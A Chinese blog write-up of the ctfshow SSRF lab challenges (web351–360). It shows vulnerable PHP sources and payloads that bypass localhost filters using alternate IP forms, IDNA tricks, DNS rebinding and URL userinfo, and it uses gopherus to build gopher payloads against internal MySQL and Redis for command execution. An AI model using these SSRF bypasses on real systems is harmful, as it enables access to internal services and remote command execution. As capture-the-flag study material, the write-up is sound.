ctfshow-SSRF


web351

  • 题目环境
<?php 
error_reporting(0); 
highlight_file(__FILE__); 
$url=$_POST['url']; 
$ch=curl_init($url); 
curl_setopt($ch, CURLOPT_HEADER, 0); 
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
$result=curl_exec($ch); 
curl_close($ch); 
echo ($result); 
?>
  1. 访问/flag.php

非本地用户禁止访问

  1. 利用url实现服务器访问本地
?url=http://127.0.0.1/flag.php

web352

url=http://2130706433/flag.php

web353

  • 同上

web354

  • 题目环境
<?php 
error_reporting(0); 
highlight_file(__FILE__); 
$url=$_POST['url']; 
$x=parse_url($url); 
if($x['scheme']==='http'||$x['scheme']==='https'){ 
if(!preg_match('/localhost|1|0|。/i', $url)){ 
$ch=curl_init($url); 
curl_setopt($ch, CURLOPT_HEADER, 0); 
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
$result=curl_exec($ch); 
curl_close($ch); 
echo ($result); 
} 
else{ 
    die('hacker'); 
} 
} 
else{ 
    die('hacker'); 
} 
?> hacker

方法一:

idna和utf-8漏洞

for i in range(128,65537):    
    tmp=chr(i)    
    try:
        res = tmp.encode('idna').decode('utf-8')        
        if("-") in res:
            continue
        print("U:{}    A:{}      ascii:{} ".format(tmp, res, i))    
    except:        
        pass

方法二:
DNS-Rebinding

http://sudo.cc/flag.php //a记录是127.0.0.1的网站

web355($host<5)

127.1代替127.0.0.1

web356

  • 题目环境
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|1|0|。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?> hacker
  • linux0代替127.0.0.1

web357

  • 题目环境
<?php 
error_reporting(0); 
highlight_file(__FILE__); 
$url=$_POST['url']; 
$x=parse_url($url); 
if($x['scheme']==='http'||$x['scheme']==='https'){ 
$ip = gethostbyname($x['host']); 
echo '</br>'.$ip.'</br>'; 
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) { 
    die('ip!'); 
} 


echo file_get_contents($_POST['url']); 
} 
else{ 
    die('scheme'); 
} 
?> scheme

FILTER_FLAG_IPV4 - 要求值是合法的 IPv4 IP(比如 255.255.255.255)
FILTER_FLAG_IPV6 - 要求值是合法的 IPv6 IP(比如 2001:0db8:85a3:08d3:1319:8a2e:0370:7334)
FILTER_FLAG_NO_PRIV_RANGE - 要求值是 RFC 指定的私域 IP (比如 192.168.0.1)
FILTER_FLAG_NO_RES_RANGE - 要求值不在保留的 IP 范围内。该标志接受 IPV4 和 IPV6 值。

  • 注册网址获得一个域名

CEYE

  • dns rebinding先随便设置一个ip,再设置127.0.0.1

image-20210729081421860

url=http://r.xxxx/flag.php

web358

  • 题目环境
<?php 
error_reporting(0); 
highlight_file(__FILE__); 
$url=$_POST['url']; 
$x=parse_url($url); 
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){ 
    echo file_get_contents($url); 
} 

正则表达式的意思是以http://ctf.开头,以show结尾。

image-20210729082607244

  • Payload:
url=http://ctf.@127.0.0.1/flag.php?show

web359

python gopherus.py --exploit mysql

image-20210728200105182

  • 将下划线后面的字符串进行url编码

image-20210728200157331

  • 访问b.php,执行命令

web360

  • redis
python gopherus.py --exploit redis

image-20210728201010702

  • url传参

URL解说


文章作者: 尘落
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 尘落 !
评论
  目录